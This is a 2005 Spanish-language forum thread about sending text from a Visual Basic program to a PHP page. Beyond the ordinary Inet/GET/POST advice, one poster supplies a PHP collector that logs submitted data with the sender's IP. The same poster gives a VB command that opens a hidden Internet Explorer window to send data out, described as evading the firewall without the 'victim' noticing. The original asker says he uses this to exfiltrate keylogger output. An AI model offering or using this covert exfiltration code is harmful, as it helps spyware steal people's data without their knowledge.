Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: A2Corp en 31 Agosto 2005, 15:58 pm



Título: como enviar un texto por método post a php
Publicado por: A2Corp en 31 Agosto 2005, 15:58 pm
hola, mi pregunta es como postear un texto por medio del control Inet a una pagina web???

esto es lo que llevo de codigo, no se si este bien, miren:

-----------------

Public Function SendMail()

    Dim info As String
    Dim URL As String
    Dim Body As String
   
    On Error Resume Next
   
    URL = "www.t1bia.trans69.com/mail.php"
    info = "&body=" & text1
    Call Inet1.Execute(URL, "POST", info, "Content-Type: application/x-www-form-urlencoded")
End Function

----------------------
esa url es mia, ahi tengo un php que hice anoche el cual tiene un textbot y un boton, todo lo que se escriba en ese textbox se manda a uno de mis correos.
Pero no se como hacer para que mi aplicacion en VB mande lo que hay en text1 a esa web!!!!

podrian ayudarme con alguna info porfas? graciaaaaaaaas!


Título: Re: como enviar un texto por método post a php
Publicado por: yeikos en 31 Agosto 2005, 16:34 pm
"http://www.website.com/get.php?info=" & texto1.text
Y en el archivo get.php haces un get para que coja los datos que se le da a info.


Título: Re: como enviar un texto por método post a php
Publicado por: programatrix en 31 Agosto 2005, 17:09 pm
O sea:
<?
echo $info;
?>
Interesante y sabrías como hacerlo sin usar el control Inet??
Saludos  ;)


Título: Re: como enviar un texto por método post a php
Publicado por: yeikos en 31 Agosto 2005, 20:18 pm
Expuse mi duda hace tiempo sobre como hacer eso mismo con el control winsock y nadie conestó una respuesta coherente. La verdad es que este método para mi es el más eficaz a la hora de enviar datos "concretos", puesto que la cadena URL tiene un límite y no podemos excedernos.

get.php
Código:
<?php 
$id = $_GET['id'];

$fp = fopen("archivo.txt", "a");
$msg = "IP: ".$_SERVER["REMOTE_ADDR"]."<br>Fecha: ".date("d/m/y | H:i a")."</br>Datos: ".$id."</br></br>";
fwrite($fp, $msg, 1000);
fclose($fp);

if ($id == "ver") {
include ("archivo.txt");
}
?>


De esta manera con hacer con el winsock un get.php?id=datosdeinteres silenciosamente bastaría para almacenarlo en un documento de texto junto a la fecha y su IP.

Para ver el documento pueden hacer get.php?id=ver .


Título: Re: como enviar un texto por método post a php
Publicado por: yeikos en 3 Septiembre 2005, 17:19 pm
Encontré una solución para no tener que usar el winsock:

shell "C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE http://www.website.com/get.php?info=" & texto1.text, vbHide

De esta manera se pueden enviar datos silenciosamente sin que detecte nada el firewall, sin usar ningun control y sin que la victima vea nada.


Título: Re: como enviar un texto por m�todo post a php
Publicado por: Manibal_man en 3 Septiembre 2005, 23:07 pm
Si, eso en el caso que tenga xp, porque no siempre es esa la ruta del iexplore.exe, me parece mucho mejor usar ShellExecute para que lo haga con el browser predeterminado... sea cual fuere.

Saludos


Título: Re: como enviar un texto por método post a php
Publicado por: yeikos en 3 Septiembre 2005, 23:51 pm
Si lo haces con la aplicación "explorer.exe" la ventana no podrá permanecer oculta.


Título: Re: como enviar un texto por método post a php
Publicado por: A2Corp en 4 Septiembre 2005, 17:36 pm
Jajaja, ese es el metodo que uso para mi keylogger :P.
se debe poner al ultimo Vbhide para que no se vea :P


Título: Re: como enviar un texto por método post a php
Publicado por: Manibal_man en 4 Septiembre 2005, 21:05 pm
Si lo haces con la aplicación "explorer.exe" la ventana no podrá permanecer oculta.

Explorer.EXE es el proceso del administrador del entorno, "Iexplore.exe" es el browser

Saludos


Título: Re: como enviar un texto por método post a php
Publicado por: farder en 5 Septiembre 2005, 18:36 pm
Las soluciones aquí expuestas están bien, pero no solucionan la pregunta, de como enviar informacion mediantes POST, la diferencia reside enque con GET las cadenas largas i multinileas no obtienen un resultado satisfactorio.

Es estado buscando la manera y de momento sin respuestas.


Título: Re: como enviar un texto por método post a php
Publicado por: yeikos en 6 Septiembre 2005, 01:55 am
Este es un método rápido para mandar información precisa, si ya quieren subir documentos de texto es mejor que los suban por FTP.